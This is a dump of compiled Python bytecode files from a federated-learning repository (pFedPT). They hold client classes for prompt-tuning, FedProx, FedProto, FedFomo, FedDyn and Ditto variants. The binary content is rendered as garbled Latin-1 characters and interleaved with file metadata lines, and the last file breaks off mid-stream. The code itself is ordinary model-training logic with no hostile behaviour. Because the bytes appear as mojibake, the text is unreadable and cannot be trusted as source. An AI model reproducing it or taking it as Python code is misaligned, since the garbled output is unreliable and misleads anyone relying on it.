U aÿcPã@slddlZddlZddlmZddlZddlZddlmZddlZddl m Z ddl m Z Gdd„deƒZ dS)éN)ÚClient)Úlabel_binarize)Úmetricscs4eZdZ‡fdd„Zdd„Zdd„Zdd„Z‡ZS) Ú clientPerPTc sštƒj||||f|�t ¡|_tj |jj   ¡|j dœ|jj   ¡|j dœg¡|_ |j|_tjj|jj  ¡|j|jd�|_tjjj|j|j|jd�|_dS)N)ÚparamsÚlr)rÚmomentum)Ú step_sizeÚgamma)ÚsuperÚ__init__ÚnnÚCrossEntropyLossÚlossÚtorchÚoptimÚSGDÚmodelÚbaseÚ parametersÚ learning_rateÚ predictorÚ optimizerÚ plocal_stepsÚ generatorÚpt_learning_raterÚ poptimizerÚ lr_schedulerÚStepLRÚlearning_decayÚ scheduler)ÚselfÚargsÚidÚ train_samplesÚ test_samplesÚkwargs©Ú __class__©õcD:\京东\promot\第二次投稿\å®�验\æœ�务器\native - pro\system\flcore\clients\clientperpt.pyr s ş ÿzclientPerPT.__init__c Cs0| ¡}t ¡}t |jj¡}|j |j¡|j ¡|jj   ¡D] }d|_ qB|jj   ¡D] }d|_ qZ|jj  ¡D] }d|_ qrt |jƒD]´}t|ƒD]¦\}\}}t|ƒtgƒkrÆ|d |j¡|d<n | |j¡}| |j¡}|jrşt dt tj ¡¡¡|j ¡| |¡} | | |¡} |  ¡|j ¡|j ¡q”qˆ|j} |j�r^tj d| d¡} |jj   ¡D] }d|_ �qj|jj   ¡D] }d|_ �q„|jj  ¡D] }d|_ �q�t | ƒD]²}t|ƒD]¢\}\}}t|ƒtgƒk�rô|d |j¡|d<n | |j¡}| |j¡}|j�r.t dt tj ¡¡¡|j ¡| |¡} | | |¡} |  ¡|j ¡�qÀ�q´|j  ¡t |jj¡} d} |j!dd7<|j!dt ¡|7<t"|  ¡|   ¡ƒD]<\}}||}t# $|dk|t# %|¡|¡}| t# &|¡} �qÂ|j!dd7<|j!dt ¡|7<| S) NFTrgš™™™™™¹?ééÚ num_roundsÚ total_cost)'Úload_train_dataÚtimeÚcopyÚdeepcopyrrÚtoÚdeviceÚtrainrrÚ requires_gradrÚrangerÚ enumerateÚtypeÚ train_slowÚsleepÚnpÚabsÚrandomÚrandrÚ zero_gradrÚbackwardÚstepr Ú local_stepsÚrandintrÚcpuÚtrain_time_costÚziprÚwhereÚ zeros_likeÚsum)r!Ú trainloaderÚ start_timeÚ old_promptÚparamrBÚiÚxÚyÚoutputrÚmax_local_stepsÚ new_promptÚ diff_provalueÚ new_paramÚ old_paramÚdiff_pror)r)r*r5sv                 zclientPerPT.traincCs2t|j ¡|jj ¡ƒD]\}}|j ¡|_qdS)N)rGrrrÚdataÚclone)r!rrVrWr)r)r*Úset_parameters^s zclientPerPT.set_parametersc Cs~| ¡}|j |j¡|j ¡d}d}d}g}g}t ¡�ú|D]î\}}t|ƒtgƒkrp|d |j¡|d<n | |j¡}| |j¡}| |¡} |j |j  |¡¡} |t  tj | dd�|k¡  ¡7}|t  tj | dd�|k¡  ¡7}||j d7}| |  ¡ ¡ ¡¡| t| ¡ ¡ ¡t |j¡d�¡qBW5QRX|j ¡tj|dd�}tj|dd�}tj||dd�} |||| fS)Nrr+)Údim)Úclasses)ÚaxisÚmicro)Úaverage)Úload_test_datarr3r4ÚevalrÚno_gradr9rrrJÚargmaxÚitemÚshapeÚappendÚdetachrEÚnumpyrr<ÚarangeÚ num_classesÚ concatenaterÚ roc_auc_score) r!ÚtestloaderfullÚtest_accÚ test_acc2Útest_numÚy_probÚy_truerPrQrRÚoutput2Úaucr)r)r*Ú test_metricsas4        2 zclientPerPT.test_metrics)Ú__name__Ú __module__Ú __qualname__r r5r[rvÚ __classcell__r)r)r'r*r s Br)r1rÚtorch.nnr rir<r0Úflcore.clients.clientbaserÚsklearn.preprocessingrÚsklearnrrr)r)r)r*Ú<module>s    
3,900
Python
.py
52
73.557692
558
0.423227
hkgdifyu/pFedPT
8
3
0
GPL-2.0
9/5/2024, 10:48:09 PM (Europe/Amsterdam)
2,286,652
clientproxpt.cpython-38.pyc
hkgdifyu_pFedPT/system/flcore/clients/__pycache__/clientproxpt.cpython-38.pyc
U Ñıcã@sxddlZddlZddlZddlZddlmZddlmZddl m Z ddlZddl m Z ddl mZGdd„de ƒZdS)éN)ÚPerturbedGradientDescent)ÚClient)Úlabel_binarize)Úmetricscs4eZdZ‡fdd„Zdd„Zdd„Zdd„Z‡ZS) Ú clientProxPTc sªtƒj||||f|�|j|_t t|jj ¡ƒ¡|_ t   ¡|_ t |jj ¡|jdœg|jd�|_|j|_tjj|jj ¡|j|jd�|_tjjj|j|j|jd�|_dS)N)ÚparamsÚlr)Úmu)rÚmomentum)Ú step_sizeÚgamma)ÚsuperÚ__init__r ÚcopyÚdeepcopyÚlistÚmodelÚbaseÚ parametersÚ global_paramsÚnnÚCrossEntropyLossÚlossrÚ learning_rateÚ optimizerÚ plocal_stepsÚtorchÚoptimÚSGDÚ generatorZpt_learning_rater Ú poptimizerÚ lr_schedulerÚStepLRZlearning_decayÚ scheduler)ÚselfÚargsÚidÚ train_samplesÚ test_samplesÚkwargs©Ú __class__©õZD:\京东\promot\第二次投稿\å®�验\native - pro\system\flcore\clients\clientproxpt.pyr s  ÿıÿÿzclientProxPT.__init__c Cs°| ¡}t ¡}t |jj¡}|j |j¡|j ¡|jj   ¡D] }d|_ qB|jj  ¡D] }d|_ qZt |j ƒD]´}t|ƒD]¦\}\}}t|ƒtgƒkr®|d |j¡|d<n | |j¡}| |j¡}|jræt dt tj ¡¡¡|j ¡| |¡} | | |¡} |  ¡|j ¡|j ¡q|qp|j} |j�rFtj d| d¡} |jj   ¡D] }d|_ �qR|jj  ¡D] }d|_ �qlt | ƒD]�}|D]„\}}t|ƒtgƒk�rº|d |j¡|d<n | |j¡}| |j¡}|j ¡| |¡} | | |¡} |  ¡|j |j|j¡�qŠ�q‚|j  ¡t |jj¡} d} t!|  ¡|   ¡ƒD]<\}}||}t" #|dk|t" $|¡|¡}| t" %|¡} �qB|j&dd7<|j&dt ¡|7<| S) NFTrgš™™™™™¹?ééÚ num_roundsÚ total_cost)'Úload_train_dataÚtimerrrrÚtoÚdeviceÚtrainrrÚ requires_gradÚrangerÚ enumerateÚtypeÚ train_slowÚsleepÚnpÚabsÚrandomÚrandr Ú zero_gradrÚbackwardÚstepr#Ú local_stepsÚrandintrrÚcpuÚziprÚwhereÚ zeros_likeÚsumÚtrain_time_cost)r$Ú trainloaderÚ start_timeZ old_promptÚparamrCÚiÚxÚyÚoutputrÚmax_local_stepsZ new_promptZ diff_provalueÚ new_paramÚ old_paramÚdiff_pror,r,r-r6"sf                 zclientProxPT.traincCsDt|j ¡|j|jj ¡ƒD]"\}}}|j ¡|_|j ¡|_qdS)N)rGrrrrÚdataÚclone)r$rrTÚ global_paramrNr,r,r-Úset_parametersas& zclientProxPT.set_parametersc Csv| ¡}|j |j¡|j ¡d}d}d}g}g}t ¡�ò|D]æ\}}t|ƒtgƒkrp|d |j¡|d<n | |j¡}| |j¡}| |¡} |j |¡} |t  tj | dd�|k¡  ¡7}|t  tj | dd�|k¡  ¡7}||j d7}|  |  ¡ ¡ ¡¡|  t| ¡ ¡ ¡t |j¡d�¡qBW5QRX|j ¡tj|dd�}tj|dd�}tj||dd�} |||| fS)Nrr.)Údim)Úclasses)ÚaxisÚmicro)Úaverage)Úload_test_datarr4r5ÚevalrÚno_gradr:rrJÚargmaxÚitemÚshapeÚappendÚdetachrFÚnumpyrr=ÚarangeÚ num_classesÚ concatenaterÚ roc_auc_score) r$ÚtestloaderfullÚtest_accÚ test_acc2Útest_numÚy_probÚy_truerPrQrRÚoutput2Úaucr,r,r-Ú test_metricses4         2 zclientProxPT.test_metrics)Ú__name__Ú __module__Ú __qualname__rr6rZruÚ __classcell__r,r,r*r-r s ?r)rrhr=r3rÚtorch.nnrÚflcore.optimizers.fedoptimizerrÚflcore.clients.clientbaserÚsklearn.preprocessingrÚsklearnrrr,r,r,r-Ú<module>s     
3,919
Python
.py
47
82.085106
553
0.437387
hkgdifyu/pFedPT
8
3
0
GPL-2.0
9/5/2024, 10:48:09 PM (Europe/Amsterdam)
2,286,653
clientproto.cpython-38.pyc
hkgdifyu_pFedPT/system/flcore/clients/__pycache__/clientproto.cpython-38.pyc
U ”jfc ã@s`ddlmZddlZddlZddlmZddlZddlZddl m Z Gdd„de ƒZ dd„Z dS)é)Ú defaultdictN)ÚClientcs>eZdZ‡fdd„Zdd„Zdd„Zdd„Zd d d „Z‡ZS) Ú clientProtoc sxtƒj||||f|�t ¡|_tjj|j  ¡|j d�|_ t |jj   ¡ƒdjd|_d|_d|_t ¡|_|j|_dS)N)Úlrré)ÚsuperÚ__init__ÚnnÚCrossEntropyLossÚlossÚtorchÚoptimÚSGDÚmodelÚ parametersÚ learning_rateÚ optimizerÚlistÚ predictorÚshapeZ feature_dimÚprotosÚ global_protosÚMSELossÚloss_mseÚlamda)ÚselfÚargsÚidÚ train_samplesÚ test_samplesÚkwargs©Ú __class__©õMD:\京东\promot\cifar\cifar\Cifar10_iid\system\flcore\clients\clientproto.pyr s  zclientProto.__init__c Csô| ¡}t ¡}|j |j¡|j ¡|j}|jrFtj   d|d¡}t t ƒ}t |ƒD�]V}t|ƒD�]F\}\}}t|ƒtgƒkr˜|d |j¡|d<n | |j¡}| |j¡}|jrĞt dt tj  ¡¡¡|j ¡|j |¡} |j | ¡} | | |¡} |jdk�r^t | ¡} t|ƒD]*\}} |  ¡}|j|j| |dd…f<�q| | | | ¡|j7} t|ƒD]2\}} |  ¡}|| | |dd…f  ¡j¡�qf|  !¡|j "¡qdqV|j #¡t$|ƒ|_%|j&dd7<|j&dt ¡|7<dS)Nrérçš™™™™™¹?Ú num_roundsÚ total_cost)'Úload_train_dataÚtimerÚtoÚdeviceÚtrainÚ local_stepsÚ train_slowÚnpÚrandomÚrandintrrÚrangeÚ enumerateÚtypeÚsleepÚabsÚrandrÚ zero_gradÚbaserr rr Ú zeros_likeÚitemÚdatarrÚappendÚdetachÚbackwardÚstepÚcpuÚagg_funcrÚtrain_time_cost)rÚ trainloaderÚ start_timeÚmax_local_stepsrrAÚiÚxÚyÚrepÚoutputr Z proto_newÚyyÚy_cr#r#r$r-sF         $  zclientProto.traincCst |¡|_dS)N)ÚcopyÚdeepcopyr)rrr#r#r$Ú set_protosNszclientProto.set_protosc Cs| ¡}|j |j¡|j ¡ttƒ}t ¡�Êt |ƒD]º\}\}}t |ƒt gƒkrl|d |j¡|d<n | |j¡}| |j¡}|j r¤t   dt tj ¡¡¡|j ¡|j |¡}t |ƒD]0\}}| ¡}|| ||dd…f ¡j¡qÂq:W5QRXt|ƒ|_|j ¡dS)Nrr&)r)rr+r,Úevalrrr Úno_gradr4r5r/r*r6r0r7r1r8rr9r:r<r>r?r=rCrrB) rrErrHrIrJrKrMrNr#r#r$Úcollect_protosQs&      . zclientProto.collect_protosNc Cs@| ¡}|dkr|j}|j |j¡| ¡d}d}t ¡�ê|D]Ş\}}t|ƒtgƒkrp|d |j¡|d<n | |j¡}| |j¡}|j |¡}t dƒt  |j d|j ¡ |j¡}t |ƒD]0\} } |j ¡D]\} } | | | ¡|| | f<qÒqÀ|t tj|dd�|k¡ ¡7}||j d7}qBW5QRX|j ¡||dfS)NrÚinfr)Údim)Úload_test_datarr+r,rRr rSr5r:ÚfloatÚonesrÚ num_classesr4rÚitemsrÚsumÚargminr<rB) rrÚ testloaderÚtest_accÚtest_numrIrJrKrLrHÚrÚjÚpror#r#r$Ú test_metricsjs,     $  zclientProto.test_metrics)N) Ú__name__Ú __module__Ú __qualname__rr-rQrTrdÚ __classcell__r#r#r!r$r s  3rcCsb| ¡D]T\}}t|ƒdkrPd|dj}|D]}||j7}q.|t|ƒ||<q|d||<q|S)z- Returns the average of the weights. rr)r[Úlenr=)rÚlabelÚ proto_listÚprotorHr#r#r$rC‰s  rC) Ú collectionsrrOr Útorch.nnr Únumpyr0r*Úflcore.clients.clientbaserrrCr#r#r#r$Ú<module>s   ~
3,997
Python
.py
41
96.195122
455
0.392974
hkgdifyu/pFedPT
8
3
0
GPL-2.0
9/5/2024, 10:48:09 PM (Europe/Amsterdam)
2,286,654
clientfomo.cpython-37.pyc
hkgdifyu_pFedPT/system/flcore/clients/__pycache__/clientfomo.cpython-37.pyc
B t fcàã@sdddlZddlmZddlZddlZddlZddlmZddl m Z ddl m Z Gdd„deƒZ dS)éN)ÚClient)Ú DataLoader)Úread_client_datacsneZdZ‡fdd„Zdd„Zddd„Zdd „Zd d „Zd d „Zdd„Z dd„Z dd„Z dd„Z dd„Z ‡ZS)Ú clientFomoc sŒtƒj||||f|�|j|_t |j¡|_g|_g|_t j |j|j d�|_ t  ¡|_t jj|j ¡|jd�|_d|_|jd|j|_dS)N)Údevice)Úlrgš™™™™™É?é)ÚsuperÚ__init__Ú num_clientsÚcopyÚdeepcopyÚmodelÚ old_modelÚ received_idsÚreceived_modelsÚtorchÚzerosrÚ weight_vectorÚnnÚCrossEntropyLossÚlossÚoptimÚSGDÚ parametersÚ learning_rateÚ optimizerÚ val_ratioÚ train_samples)ÚselfÚargsÚidrÚ test_samplesÚkwargs)Ú __class__©úG/root/autodl-tmp/PFL-Non-IID-master/system/flcore/clients/clientfomo.pyr s zclientFomo.__init__c CsR| ¡\}}t ¡}| |¡| |j|j¡|j |j¡|j ¡|j }|j rdt j   d|d¡}x²t|ƒD]¦}x |D]˜\}}t|ƒtgƒkr¦|d |j¡|d<n | |j¡}| |j¡}|j rŞt dt  t j  ¡¡¡|j ¡| |¡}| ||¡} |  ¡|j ¡qxWqnW|j ¡|jdd7<|jdt ¡|7<dS)Nrérgš™™™™™¹?Ú num_roundsÚ total_cost)Úload_train_dataÚtimeÚaggregate_parametersÚ clone_modelrrÚtorÚtrainÚ local_stepsÚ train_slowÚnpÚrandomÚrandintÚrangeÚtypeÚsleepÚabsÚrandrÚ zero_gradrÚbackwardÚstepÚcpuÚtrain_time_cost) rÚ trainloaderÚ val_loaderÚ start_timeÚmax_local_stepsr<ÚxÚyÚoutputrr%r%r&r/s2         zclientFomo.trainNcCsz|dkr|j}t|j|jdd�}t|jt|ƒƒ }||d…}|d|…}t||jddd�}t||j|jdd�}||fS)NT)Úis_train)Ú drop_lastÚshuffle) Ú batch_sizerÚdatasetr!ÚintrÚlenrÚ has_BatchNorm)rrIÚ train_dataÚval_idxZval_datar?r@r%r%r&r*?s  zclientFomo.load_train_datacCsÄ| ¡\}}|j |j¡|j ¡d}d}x„|D]|\}}t|ƒtgƒkr`|d |j¡|d<n | |j¡}| |j¡}| |¡}||jd7}|| ||¡ ¡|jd7}q2W|j  ¡||fS)Nr) r*rr.rÚevalr6ÚshaperÚitemr=)rr?r@Ú train_numrrCrDrEr%r%r&Ú train_metricsLs     " zclientFomo.train_metricscCs||_||_dS)N)rr)rÚidsÚmodelsr%r%r&Úreceive_modelscszclientFomo.receive_modelscCs�g}| |j|¡}xv|jD]l}g}x4t| ¡|j ¡ƒD]\}}| || d¡¡q8Wt |¡}| || ||¡t  |¡d¡qW|  |¡t  |¡S)Néÿÿÿÿgñh㈵øä>) Úrecalculate_lossrrÚziprÚappendÚviewrÚcatÚnormÚweight_vector_updateÚtensor)rr@Ú weight_listÚLÚreceived_modelZ params_difZparam_nZparam_ir%r%r&Ú weight_calgs  ( zclientFomo.weight_calcCsXt |j¡|_x.t||jƒD]\}}|j|| ¡7<qWt |j¡  |j ¡|_dS)N) r2rr rrZrrRrr`r.r)rraÚwr!r%r%r&r_‚szclientFomo.weight_vector_updatecCs”d}| |j¡xn|D]f\}}t|ƒtgƒkrD|d |j¡|d<n | |j¡}| |j¡}||ƒ}| ||¡}|| ¡7}qW| ¡|t|ƒS)Nr)r.rr6rrRr=rL)rZ new_modelr@rbrCrDrErr%r%r&rYŒs    zclientFomo.recalculate_losscCs>x8t|j ¡| ¡ƒD] \}}|j|j ¡|7_qWdS)N)rZrrÚdataÚclone)rrercÚparamZreceived_paramr%r%r&Úadd_parameters›szclientFomo.add_parameterscCsd| | |¡¡}t|ƒdkr`x|j ¡D]}|j ¡q(Wx$t||jƒD]\}}|  ||¡qHWdS)Nr) Ú weight_scalerdrLrrrfÚzero_rZrri)rr@Úweightsrhrercr%r%r&r,Ÿs  zclientFomo.aggregate_parameterscsNt |t d¡¡}t |¡‰ˆdkr@‡fdd„|Dƒ}t |¡St g¡SdS)Nrcsg|] }|ˆ‘qSr%r%)Ú.0re)Úw_sumr%r&ú <listcomp>­sz+clientFomo.weight_scale.<locals>.<listcomp>)rÚmaximumr`Úsum)rrlr%)rnr&rj©s   zclientFomo.weight_scale)N)Ú__name__Ú __module__Ú __qualname__r r/r*rTrWrdr_rYrir,rjÚ __classcell__r%r%)r$r&r s #   r)rÚtorch.nnrÚnumpyr2r+r Úflcore.clients.clientbaserÚtorch.utils.datarÚutils.data_utilsrrr%r%r%r&Ú<module>s    
5,079
Python
.py
47
106.978723
876
0.407709
hkgdifyu/pFedPT
8
3
0
GPL-2.0
9/5/2024, 10:48:09 PM (Europe/Amsterdam)
2,286,655
clientdynpt.cpython-38.pyc
hkgdifyu_pFedPT/system/flcore/clients/__pycache__/clientdynpt.cpython-38.pyc
U ”jfcèã@sTddlZddlZddlmZddlZddlZddlmZGdd„deƒZ dd„Z dS)éN)ÚClientcs,eZdZ‡fdd„Zdd„Zdd„Z‡ZS)Ú clientDynPTc s¬tƒj||||f|�t ¡|_tjj|j  ¡|j d�|_ |j |_ d|_ t |j¡}t|ƒ}t |¡|_tjj|jj  ¡|j d�|_tjj|jj  ¡|j d�|_ |j|_dS)N)Úlr)ÚsuperÚ__init__ÚnnÚCrossEntropyLossÚlossÚtorchÚoptimÚSGDÚmodelÚ parametersÚ learning_rateÚ optimizerÚalphaÚglobal_model_vectorÚcopyÚdeepcopyÚmodel_parameter_vectorÚ zeros_likeÚold_gradÚ generatorÚ poptimizerÚbaseÚ plocal_steps)ÚselfÚargsÚidÚ train_samplesÚ test_samplesÚkwargsr©Ú __class__©õMD:\京东\promot\cifar\cifar\Cifar10_iid\system\flcore\clients\clientdynpt.pyr s   zclientDynPT.__init__c Cs¨| ¡}t ¡}t |jj¡}|j |j¡|j |j¡|_|j  |j¡|_ |j  ¡|jj   ¡D] }d|_ qb|jj  ¡D] }d|_ qzt|jƒD]¬}t|ƒD]�\}\}}t|ƒtgƒkrÎ|d |j¡|d<n | |j¡}| |j¡}|j�rt dt tj ¡¡¡|j ¡| |¡} | | |¡} |  ¡|j ¡qœq�|j} |jj   ¡D] }d|_ �qP|jj  ¡D] }d|_ �qj|j�r’tj d| d¡} t| ƒD]ú}t|ƒD]ê\}\}}t|ƒtgƒk�rÚ|d |j¡|d<n | |j¡}| |j¡}|j�rt dt tj ¡¡¡|j ¡| |¡} | | |¡} |j dk�r|t |jƒ} | |j!dt" #| |j d¡7} | t" $| |j¡8} |  ¡|j ¡�q¦�qš|j dk�rÈt |jƒ %¡} |j|j!| |j |_|j &¡|j &¡|_|j  &¡|_ |j'dd7<|j'dt ¡|7<t |jj¡} d}t(|  ¡|   ¡ƒD]<\}}||}t" )|dk|t" *|¡|¡}|t" +|¡}�q:|j'dd7<|j'dt ¡|7<|S) NFTrgš™™™™™¹?ééÚ num_roundsÚ total_cost),Úload_train_dataÚtimerrr rÚtoÚdevicerrÚtrainrrÚ requires_gradÚrangerÚ enumerateÚtypeÚ train_slowÚsleepÚnpÚabsÚrandomÚrandrÚ zero_gradr ÚbackwardÚstepÚ local_stepsÚrandintrrrr ÚnormÚdotÚdetachÚcpuÚtrain_time_costÚzipÚwhererÚsum)rÚ trainloaderÚ start_timeÚ old_promptÚparamr;ÚiÚxÚyÚoutputr Úmax_local_stepsÚv1Ú new_promptÚ diff_provalueÚ new_paramÚ old_paramÚdiff_pror$r$r%r."s‚                     zclientDynPT.traincCsDt|j ¡|jj ¡ƒD]\}}|j ¡|_qt|ƒ ¡ ¡|_dS)N) rCrrr ÚdataÚclonerr@r)rr rRrSr$r$r%Úset_parametersss zclientDynPT.set_parameters)Ú__name__Ú __module__Ú __qualname__rr.rWÚ __classcell__r$r$r"r%r s QrcCs dd„| ¡Dƒ}tj|dd�S)NcSsg|]}| d¡‘qS)éÿÿÿÿ)Úview)Ú.0Úpr$r$r%Ú <listcomp>|sz*model_parameter_vector.<locals>.<listcomp>r)Údim)rr Úcat)r rIr$r$r%r{sr) rr Útorch.nnrÚnumpyr5r+Úflcore.clients.clientbaserrrr$r$r$r%Ú<module>s  o
3,377
Python
.py
41
81.268293
328
0.393168
hkgdifyu/pFedPT
8
3
0
GPL-2.0
9/5/2024, 10:48:09 PM (Europe/Amsterdam)
2,286,656
clientt.cpython-37.pyc
hkgdifyu_pFedPT/system/flcore/clients/__pycache__/clientt.cpython-37.pyc
B v¹ccã ã@sLddlZddlmZddlZddlZddlmZddlZGdd„deƒZ dS)éN)ÚClientcs4eZdZ‡fdd„Zdd„Zdd„Zdd„Z‡ZS) ÚclientTc sltƒj||||f|�t ¡|_tjj|jj   ¡|j d�|_ tjj|jj   ¡|j d�|_| ¡|j|_dS)N)Úlr)ÚsuperÚ__init__ÚnnÚCrossEntropyLossÚlossÚtorchÚoptimÚSGDÚmodelÚ generatorÚ parametersÚ learning_rateÚ poptimizerÚbaseÚ optimizerÚser_paraÚ plocal_steps)ÚselfÚargsÚidÚ train_samplesÚ test_samplesÚkwargs)Ú __class__©úD/root/autodl-tmp/PFL-Non-IID-master/system/flcore/clients/clientt.pyr s  zclientT.__init__cCsxt |j¡t |jjjj¡|jjj_t |jjjj¡|jjj_t |jjj j¡|jjj _t |jjj j¡|jjj _dS)N) r Ú manual_seedrÚ rand_liker rZpad_downÚdataÚpad_leftÚ pad_rightZpad_up)rrrrrs  zclientT.ser_parac Csê| ¡}t ¡}t |jj¡}|j |j¡|j ¡|j }|j rTt j   d|d¡}x|jj ¡D] }d|_qbWx|jj ¡D] }d|_q~Wx¼t|ƒD]°}xªt|ƒD]�\}\}} t|ƒtgƒkrÖ|d |j¡|d<n | |j¡}|  |j¡} |j �rt dt  t j  ¡¡¡|j ¡| |¡} | | | ¡} |  ¡|j ¡q¤Wq–W|j ¡t |jj¡} d} xRt| ¡|  ¡ƒD]<\}}||}t |dk|t  |¡|¡}| t !|¡} �qzW|j"dd7<|j"dt ¡|7<| S) NééTFrgš™™™™™¹?Ú num_roundsÚ total_cost)#Úload_train_dataÚtimeÚcopyÚdeepcopyr rÚtoÚdeviceÚtrainÚ local_stepsÚ train_slowÚnpÚrandomÚrandintrrÚ requires_gradÚrangeÚ enumerateÚtypeÚsleepÚabsÚrandrÚ zero_gradr ÚbackwardÚstepÚcpuÚzipr ÚwhereÚ zeros_likeÚsumÚtrain_time_cost)rÚ trainloaderÚ start_timeÚ old_promptÚmax_local_stepsÚparamr=ÚiÚxÚyÚoutputr Ú new_promptÚ diff_provalueÚ new_paramÚ old_paramÚdiff_prorrrr.sF         z clientT.traincCs4x.t| ¡|jj ¡ƒD]\}}|j ¡|_qWdS)N)r?rr rr!Úclone)rrrOrPrrrÚset_parametersOs zclientT.set_parameters)Ú__name__Ú __module__Ú __qualname__rrr.rSÚ __classcell__rr)rrr s 0r) r Útorch.nnrÚnumpyr1r)Ú system.flcore.clients.clientbaserr*rrrrrÚ<module>s   
2,599
Python
.py
34
75.294118
292
0.447389
hkgdifyu/pFedPT
8
3
0
GPL-2.0
9/5/2024, 10:48:09 PM (Europe/Amsterdam)
2,286,657
clientproto.cpython-39.pyc
hkgdifyu_pFedPT/system/flcore/clients/__pycache__/clientproto.cpython-39.pyc
a âæ`cšã@s`ddlmZddlZddlZddlmZddlZddlZddl m Z Gdd„de ƒZ dd„Z dS)é)Ú defaultdictN)ÚClientcs>eZdZ‡fdd„Zdd„Zdd„Zdd„Zd d d „Z‡ZS) Ú clientProtoc s|tƒj||||fi|¤�t ¡|_tjj|j  ¡|j d�|_ t |jj   ¡ƒdjd|_d|_d|_t ¡|_|j|_dS)N)Úlrré)ÚsuperÚ__init__ÚnnÚCrossEntropyLossÚlossÚtorchÚoptimÚSGDÚmodelÚ parametersÚ learning_rateÚ optimizerÚlistÚ predictorÚshapeZ feature_dimÚprotosÚ global_protosÚMSELossÚloss_mseÚlamda)ÚselfÚargsÚidÚ train_samplesÚ test_samplesÚkwargs©Ú __class__©út/media/sim812/391e55df-b6f2-4fe9-a920-53434a8506fa/lgh/pdept/PFL-Non-IID-master/system/flcore/clients/clientproto.pyr s  zclientProto.__init__c CsÜ| ¡}t ¡}|j ¡|j}|jr8tj d|d¡}t t ƒ}t |ƒD�]V}t |ƒD�]F\}\}}t |ƒt gƒkrŠ|d |j¡|d<n | |j¡}| |j¡}|jrÂt dt tj ¡¡¡|j ¡|j |¡} |j | ¡} | | |¡} |jdk�rPt | ¡} t |ƒD]*\}} |  ¡}|j|j| |dd…f<�q| | | | ¡|j7} t |ƒD]2\}} |  ¡}|| | |dd…f  ¡j¡�qX|  !¡|j "¡qVqHt#|ƒ|_$|j%dd7<|j%dt ¡|7<dS)Nrérçš™™™™™¹?Ú num_roundsÚ total_cost)&Úload_train_dataÚtimerÚtrainÚ local_stepsÚ train_slowÚnpÚrandomÚrandintrrÚrangeÚ enumerateÚtypeÚtoÚdeviceÚsleepÚabsÚrandrÚ zero_gradÚbaserr rr Ú zeros_likeÚitemÚdatarrÚappendÚdetachÚbackwardÚstepÚagg_funcrÚtrain_time_cost)rÚ trainloaderÚ start_timeÚmax_local_stepsrrAÚiÚxÚyÚrepÚoutputr Z proto_newÚyyÚy_cr#r#r$r+sB         $ zclientProto.traincCst |¡|_dS)N)ÚcopyÚdeepcopyr)rrr#r#r$Ú set_protosNszclientProto.set_protosc Cs| ¡}|j ¡ttƒ}t ¡�Ôt|ƒD]º\}\}}t|ƒtgƒkr^|d  |j ¡|d<n |  |j ¡}|  |j ¡}|j r–t   dt tj ¡¡¡|j ¡|j |¡}t|ƒD]0\}}| ¡}|| ||dd…f ¡j¡q´q,Wdƒn1sü0Yt|ƒ|_dS)Nrr&)r)rÚevalrrr Úno_gradr2r3r4r5r-r*r6r.r7r/r8rr9r:r<r>r?r=rBr) rrDrrGrHrIrJrLrMr#r#r$Úcollect_protosQs"      BzclientProto.collect_protosNc Cs>| ¡}|dkr|j}| ¡d}d}t ¡�ô|D]Ş\}}t|ƒtgƒkrb|d |j¡|d<n | |j¡}| |j¡}|j |¡}t dƒt  |j d|j ¡ |j¡}t |ƒD]0\} } |j ¡D]\} } | | | ¡|| | f<qÄq²|t tj|dd�|k¡ ¡7}||j d7}q4Wdƒn1�s*0Y||dfS)NrÚinfr)Údim)Úload_test_datarrQr rRr3r4r5r:ÚfloatÚonesrÚ num_classesr2rÚitemsrÚsumÚargminr<) rrÚ testloaderÚtest_accÚtest_numrHrIrJrKrGÚrÚjÚpror#r#r$Ú test_metricshs(     $ 0zclientProto.test_metrics)N) Ú__name__Ú __module__Ú __qualname__rr+rPrSrcÚ __classcell__r#r#r!r$r s  3rcCsb| ¡D]T\}}t|ƒdkrPd|dj}|D]}||j7}q.|t|ƒ||<q|d||<q|S)z- Returns the average of the weights. rr)rZÚlenr=)rÚlabelÚ proto_listÚprotorGr#r#r$rB†s  rB) Ú collectionsrrNr Útorch.nnr Únumpyr.r*Úflcore.clients.clientbaserrrBr#r#r#r$Ú<module>s   {
3,980
Python
.py
39
100.794872
408
0.40208
hkgdifyu/pFedPT
8
3
0
GPL-2.0
9/5/2024, 10:48:09 PM (Europe/Amsterdam)
2,286,658
clientditto.cpython-39.pyc
hkgdifyu_pFedPT/system/flcore/clients/__pycache__/clientditto.cpython-39.pyc
a $æ`cùã@s‚ddlZddlZddlZddlZddlmZddlmZddl m Z ddl mm Z ddlmZddlmZGdd„de ƒZdS)éN)ÚPerturbedGradientDescent)ÚClient)Úlabel_binarize)Úmetricscs4eZdZ‡fdd„Zdd„Zdd„Zdd„Z‡ZS) Ú clientDittoc sztƒj||||fi|¤�|j|_|j|_t |j¡|_t  ¡|_ t j j |j ¡|jd�|_t|j ¡|j|jd�|_dS)N)Úlr)rÚmu)ÚsuperÚ__init__rÚ plocal_stepsÚcopyÚdeepcopyÚmodelÚpmodelÚnnÚCrossEntropyLossÚlossÚtorchÚoptimÚSGDÚ parametersÚ learning_rateÚ optimizerrÚ poptimizer)ÚselfÚargsÚidÚ train_samplesÚ test_samplesÚkwargs©Ú __class__©út/media/sim812/391e55df-b6f2-4fe9-a920-53434a8506fa/lgh/pdept/PFL-Non-IID-master/system/flcore/clients/clientditto.pyr s ÿzclientDitto.__init__c Cs6| ¡}t ¡}|j ¡|j}|jr8tj d|d¡}t |ƒD]Ä}t |ƒD]¶\}\}}t |ƒt gƒkr~|d  |j ¡|d<n |  |j ¡}|  |j ¡}|jr¶t dt tj ¡¡¡|j ¡| |¡}| ||¡} |  ¡|jrøt|j|t|ƒƒqL|j ¡qLq@|jdd7<|jdt ¡|7<dS)Néérçš™™™™™¹?Ú num_roundsÚ total_cost)Úload_train_dataÚtimerÚtrainÚ local_stepsÚ train_slowÚnpÚrandomÚrandintÚrangeÚ enumerateÚtypeÚtoÚdeviceÚsleepÚabsÚrandrÚ zero_gradrÚbackwardÚprivacyÚdp_stepÚlenÚstepÚtrain_time_cost) rÚ trainloaderÚ start_timeÚmax_local_stepsr>ÚiÚxÚyÚoutputrr"r"r#r+!s.       zclientDitto.trainc Cs| ¡}t ¡}|j ¡|j}|jr8tj d|d¡}t |ƒD]®}|D]¤\}}t |ƒt gƒkrv|d  |j ¡|d<n |  |j ¡}|  |j ¡}|jr®t  dt tj ¡¡¡|j ¡| |¡}| ||¡}| ¡|j |j ¡|j ¡qHq@|jdt ¡|7<dS)Nr$r%rr&r()r)r*rr+r 